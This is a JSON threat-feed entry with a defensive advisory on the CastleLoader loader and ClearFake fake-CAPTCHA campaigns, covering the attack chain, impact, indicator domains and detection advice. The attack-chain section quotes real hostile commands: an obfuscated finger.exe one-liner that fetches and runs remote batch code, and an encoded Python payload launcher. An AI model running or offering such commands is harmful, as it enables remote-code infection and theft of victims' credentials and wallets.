{"description":"Trending threats, MITRE ATT\u0026CK coverage, and detection metadata. Fed continuously.","feed_url":"https://feed.craftedsignal.io/tags/drive-by-download/feed.json","home_page_url":"https://feed.craftedsignal.io/","items":[{"_cs_actors":[],"_cs_cpes":[],"_cs_cves":[],"_cs_exploited":false,"_cs_has_poc":false,"_cs_poc_references":[],"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["malware","loader","infostealer","remote-access-trojan","paste-and-run","drive-by download","windows"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eRed Canary's July 2026 Intelligence Insights highlights the continued prevalence of the ClearFake activity cluster and the significant debut of CastleLoader on their top threats list. ClearFake, an activity cluster employing JavaScript injection into compromised websites, delivers malware via drive-by downloads, often utilizing fake CAPTCHA lures to trick users into executing malicious copy-and-paste commands. CastleLoader, also known as CastleBot, is a sophisticated malware loader active since early 2025 that deploys various payloads, including NetSupport Manager, CastleRAT, and .NET-based information stealers. It commonly propagates through paste-and-run campaigns, leveraging social engineering tactics like fake background removal websites and typosquatted job platforms impersonating LinkedIn and Indeed. Attackers use Google Ads for distribution and employ obfuscation techniques, including caret obfuscation in initial commands and multi-layer encoding for its shellcode loader, to evade detection and deliver its final payloads.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eVictim accesses a compromised website (e.g., \u003ccode\u003eai-scan[.]digital\u003c/code\u003e, \u003ccode\u003ebg-transparency[.]online\u003c/code\u003e) or typosquatted job platform (e.g., \u003ccode\u003elinkedall[.]org\u003c/code\u003e, \u003ccode\u003egolinked[.]net\u003c/code\u003e) distributed via Google Ads.\u003c/li\u003e\n\u003cli\u003eThe website presents a fake CAPTCHA verification (e.g., Cloudflare Turnstile), tricking the user into copying malicious commands to their clipboard.\u003c/li\u003e\n\u003cli\u003eThe user is lured into pasting and executing the malicious commands in a terminal, typically involving caret-obfuscated commands using \u003ccode\u003efinger.exe\u003c/code\u003e, such as \u003ccode\u003e%COMSPEC% /k s^t^a^r^t \u0026quot;\u0026quot; /min for /f \u0026quot;skip=8 delims=\u0026quot; %h in ('f^^i^^n^^g^^e^^r nrLeDHDESi@cheeshomireciple[.]com') do call %h \u0026amp; exit\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003efinger.exe\u003c/code\u003e retrieves additional batch commands from adversary-controlled servers, like \u003ccode\u003ecaptcha-checkpoint[.]top\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eOne batch command downloads portable Python distributions (either CPython or IronPython) disguised as PDF files and extracts them using \u003ccode\u003etar.exe\u003c/code\u003e, placing them in a directory like \u003ccode\u003eC:\\users\\\u0026lt;usr\u0026gt;\\appdata\\local\\ironpython.3.4.2\\net462\\\u003c/code\u003e, with the interpreter renamed to a random 12 to 18-digit filename. This is a Bring-Your-Own-Interpreter (BYOI) technique.\u003c/li\u003e\n\u003cli\u003eAnother batch command retrieved by \u003ccode\u003efinger.exe\u003c/code\u003e executes a Base64-encoded, zlib-compressed Python script through the newly deployed Python interpreter. This script, observed with a command line like \u003ccode\u003e\u0026quot;C:\\Users\\\u0026lt;usr\u0026gt;\\AppData\\Local\\python-3.7.7.1-embed-win32\\\\\\\\///////\\\\\\\\///////\\\\\\\\///////python\u0026quot; -c \u0026quot;import sys,subprocess as s,base64 as b,zlib as z;s.Popen([sys.executable,'-c',z.decompress(b.b64decode('eJydk8FKA0EQ...kb8B3z3XZ8=')).decode('utf-32')],creationflags=s.CREATE_NO_WINDOW)\u0026quot;\u003c/code\u003e, retrieves a triple-encoded shellcode loader from resources like \u003ccode\u003ehxxps://mirtona[.]com/4ba0af68-0037-5f6e-afd1-64f89fc0f554/loc12\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe decrypted CastleLoader binary is injected into the \u003ccode\u003epython.exe\u003c/code\u003e process using a shellcode-based loader.\u003c/li\u003e\n\u003cli\u003eThe infected \u003ccode\u003epython.exe\u003c/code\u003e process establishes C2 communication for further configuration, tasking, and delivery of final payloads, including NetSupport Manager, CastleRAT, or other information stealers.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful compromise by CastleLoader leads to the delivery of various payloads, including remote access tools (RATs) like NetSupport Manager and CastleRAT, as well as .NET-based information stealers. This allows adversaries to gain unauthorized remote control over victim endpoints, exfiltrate sensitive data such as credentials, payment card information, keychain details, and cryptocurrency wallets. The use of legitimate remote access tools disguised as malware makes detection challenging, further exacerbating the impact on victim organizations through potential data breaches, financial fraud, and persistent unauthorized access.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rules in this brief to your SIEM and tune for your environment, specifically focusing on \u003ccode\u003eCastleLoader - Suspicious Finger.exe Execution\u003c/code\u003e and \u003ccode\u003eCastleLoader - Python Interpreter Execution from AppData\u003c/code\u003e for initial detection.\u003c/li\u003e\n\u003cli\u003eEnable process-creation logging (e.g., via Sysmon) to capture command-line arguments and parent-child process relationships, crucial for detecting \u003ccode\u003efinger.exe\u003c/code\u003e and \u003ccode\u003epython.exe\u003c/code\u003e anomalies as described in the attack chain.\u003c/li\u003e\n\u003cli\u003eBlock the C2 domains listed in the IOC table (\u003ccode\u003emirtona[.]com\u003c/code\u003e, \u003ccode\u003ecaptcha-checkpoint[.]top\u003c/code\u003e, \u003ccode\u003eai-scan[.]digital\u003c/code\u003e, \u003ccode\u003ebg-transparency[.]online\u003c/code\u003e, \u003ccode\u003elinkedall[.]org\u003c/code\u003e, \u003ccode\u003egolinked[.]net\u003c/code\u003e, \u003ccode\u003eindeed-jobs[.]net\u003c/code\u003e) at the DNS resolver and proxy levels.\u003c/li\u003e\n\u003cli\u003eImplement strong egress filtering to restrict outbound connections from user workstations, especially from processes like \u003ccode\u003epython.exe\u003c/code\u003e, to prevent C2 communication.\u003c/li\u003e\n\u003cli\u003eEducate users about the risks of paste-and-run techniques and suspicious CAPTCHA prompts on unexpected websites to prevent initial infection.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-07-23T17:15:44Z","date_published":"2026-07-23T17:15:44Z","id":"https://feed.craftedsignal.io/briefs/2026-07-castleloader-clearfake/","summary":"Red Canary reports heightened activity of the CastleLoader malware loader, which uses paste-and-run techniques and legitimate tools to deliver infostealers and RATs, alongside continued prevalence of the ClearFake activity cluster in June 2026.","title":"CastleLoader Malware Loader and ClearFake Activity in July 2026","url":"https://feed.craftedsignal.io/briefs/2026-07-castleloader-clearfake/"}],"language":"en","title":"CraftedSignal Threat Feed - Drive-by Download","version":"https://jsonfeed.org/version/1.1"}